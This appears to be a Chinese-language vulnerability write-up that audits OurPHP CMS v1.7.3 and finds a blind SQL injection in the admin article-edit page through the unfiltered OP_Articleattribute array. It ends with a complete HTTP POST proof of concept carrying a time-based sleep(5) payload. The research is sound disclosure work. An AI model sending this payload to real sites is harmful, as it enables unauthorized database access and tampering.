version:
<?php
/*******************************************************************************
* Ourphp - CMS建站系統
* Copyright (C) 2017 www.ourphp.net
* 開發者：哈爾濱偉成科技有限公司
*******************************************************************************/

$ourphp_version="v1.7.3";
$ourphp_versiondate="20170615";
 
$ourphp_weixin="close";
$ourphp_apps="close";
$ourphp_alifuwu="close";

?>

首先看 index.php

加載了下面這些文件

include ‘./config/ourphp_code.php‘;
include ‘./config/ourphp_config.php‘;
include ‘./config/ourphp_version.php‘;
include ‘./config/ourphp_Language.php‘;
include ‘./function/ourphp_function.class.php‘;
include
 
 ‘./function/ourphp/Smarty.class.php‘;
include ‘./function/ourphp_system.class.php‘;
include ‘./function/ourphp_template.class.php‘;

其中 ourphp_function.class.php 為一些安全過濾函數

批量搜索 $_POST

挑了一處跟進去

\client\manage\ourphp_articleview.php 第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = ‘".admin_sql($_POST
 
["OP_Articletitle"])."‘,`OP_Articleauthor` = ‘".admin_sql($_POST["OP_Articleauthor"])."‘,`OP_Articlesource` = ‘".admin_sql($_POST["OP_Articlesource"])."‘,`time` = ‘".date("Y-m-d H:i:s")."‘,`OP_Articlecontent` = ‘".admin_sql($_POST["OP_Articlecontent"])."‘,`OP_Tag` = ‘".$wordtag."‘,`OP_Class` = ‘".$OP_Articleclass[0]."‘,`OP_Lang` = ‘".$OP_Articleclass[1]."‘,`OP_Sorting` = ‘".admin_sql($_POST["OP_Articlesorting"])."‘,`OP_Attribute` = ‘".$OP_Articleattribute."‘,`OP_Url` = ‘".admin_sql($_POST["OP_Articleurl"])."‘,`OP_Description` = ‘".compress_html($OP_Articlecontent)."‘,`OP_Minimg` = ‘".$OP_Minimg."‘","where id = ".intval($_GET[‘id‘]));

發現大部分參數都經過了 admin_sql 函數的處理，但是發現 $OP_Articleattribute 沒有經過admin_sql的處理

搜索 $OP_Articleattribute 發現

\client\manage\ourphp_articleview.php 第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
        $OP_Articleattribute = implode(‘,‘,$_POST["OP_Articleattribute"]);
        }else{
        $OP_Articleattribute = ‘‘;
        }

顯然也沒有經過處理

這裏是update 的註入點 而且沒有回顯 所以不能用報錯註入

根據上面對 $OP_Articleattribute 知道這裏應該傳入數組

監控sql語句為

update `ourphp_article` set `OP_Articletitle` = ‘世界，你好！‘,`OP_Articleauthor` = ‘‘,`OP_Articlesource` = ‘‘,`time` = ‘2017-08-10 12:05:16‘,`OP_Articlecontent` = ‘世界，你好！‘,`OP_Tag` = ‘‘,`OP_Class` = ‘3‘,`OP_Lang` = ‘cn‘,`OP_Sorting` = ‘99‘,`OP_Attribute` = ‘aaaaaaaaaaaaa,xxxxxxxxx‘‘,`OP_Url` = ‘‘,`OP_Description` = ‘世界，你好！‘,`OP_Minimg` = ‘skin/noimage.png‘ where id = 3

帶入了單引號

最後給出poc

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484

OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx‘ where 1=1 and sleep(5)-- -

ourphp 最新版(v1.7.3) 後臺sql註入